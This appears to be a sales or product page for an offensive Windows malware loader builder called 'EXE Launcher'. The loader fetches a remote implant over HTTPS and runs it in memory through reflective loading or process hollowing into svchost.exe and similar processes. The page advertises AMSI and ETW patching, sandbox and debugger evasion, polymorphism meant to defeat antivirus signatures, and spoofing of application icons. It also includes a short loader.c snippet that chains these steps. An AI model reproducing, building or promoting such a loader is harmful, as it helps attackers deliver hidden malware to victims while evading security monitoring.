EXE Launcher.

PE Loader · .exe

A native Windows PE loader that fetches a hosted payload and executes it in memory using reflective loading or process hollowing — no payload bytes ever touch disk. Includes anti-analysis, AMSI/ETW evasion primitives, and per-build polymorphism for a fresh static fingerprint every time.

In-memory exec

No Disk Drop

x86 / x64

Architectures

Reflective + Hollow

Load Modes

AMSI / ETW

Evasion

Overview

What is the EXE Launcher?

The EXE Launcher produces a native Windows executable whose only job is to fetch a remote PE payload (your real implant/tool) and run it without writing it to disk. Three primary loader strategies are available: reflective PE loading in the launcher's own process, process hollowing into a benign suspended child (e.g., svchost.exe), or manual mapping with custom IAT/relocation handling.

Single-EXE artifact — small (under 200 KB), self-contained loader
HTTPS payload fetch with optional hardcoded TLS pinning
Per-build polymorphism — junk imports, control-flow, and string-XOR rotated each compile
Optional anti-analysis: hostname filter, mouse activity, sleep skewing, debugger checks

Execution Flow

How the launcher works.

STEP 01

Provide URL

HTTPS endpoint serving your encrypted PE payload.

STEP 02

Pick Load Strategy

Reflective load · Process hollowing target · Manual map.

STEP 03

Configure Evasion

AMSI patching, ETW patching, sleep encryption, anti-debug, hostname filter.

STEP 04

Build EXE

Output: x86 or x64 native PE with custom icon & metadata.

Technical Details

Under the hood.

Reflective PE Loading

Allocates RWX/RW+RX memory, copies sections per the PE headers, fixes relocations, resolves IAT, calls TLS callbacks, then jumps to the entrypoint. All in-process.

Process Hollowing

Spawns a benign child (svchost.exe, RegAsm.exe, notepad.exe) suspended, unmaps its image, writes payload sections, fixes context, and resumes. Payload runs under a trusted PID.

Manual Mapping

Like reflective load, but performed against a remote process; no LoadLibrary footprint. Used when the payload is a DLL rather than an EXE.

AMSI & ETW Patching

Optional in-process patches against AmsiScanBuffer and EtwEventWrite to disable those telemetry surfaces for the loaded payload.

Encrypted Networking

Per-build symmetric key (AES-128/256) used to decrypt the fetched payload. URL is XOR-encoded in the binary; resolved at runtime.

Per-Build Polymorphism

Junk imports, randomized opaque control flow, string XOR keys, section name shuffling, and PE checksum re-computation. Two builds share no static SHA.

loader.c · simplified reflective entry

int main(void) {
    if (IsSandbox()) return 0;
    PatchAMSI(); PatchETW();
    BYTE* buf = Fetch(Dec(URL_ENC, KEY));
    AesDecrypt(buf, len, KEY);
    ReflectiveLoad(buf);   // jumps to payload OEP
    return 0;
}

Specifications

Module specs.

Output Format	Native Windows PE (`.exe`)
Delivery Mode	URL only — payload fetched over HTTPS at runtime. No local-embed mode.
Architectures	x86 · x64
OS Compatibility	Windows 7 / 8.1 / 10 / 11
Load Strategies	Reflective PE · Process Hollowing · Manual Mapping
Hollow Targets	`svchost.exe` · `RegAsm.exe` · `notepad.exe` · `msbuild.exe`
Evasion	AMSI patch · ETW patch · Sleep encryption · Anti-debug · Hostname filter
Networking	HTTPS fetch · Per-build AES key · Optional TLS pinning
Polymorphism	Imports · Control flow · String XOR · Section names · Checksum
Visual Spoof	Custom icon & version-info; common-app cloning options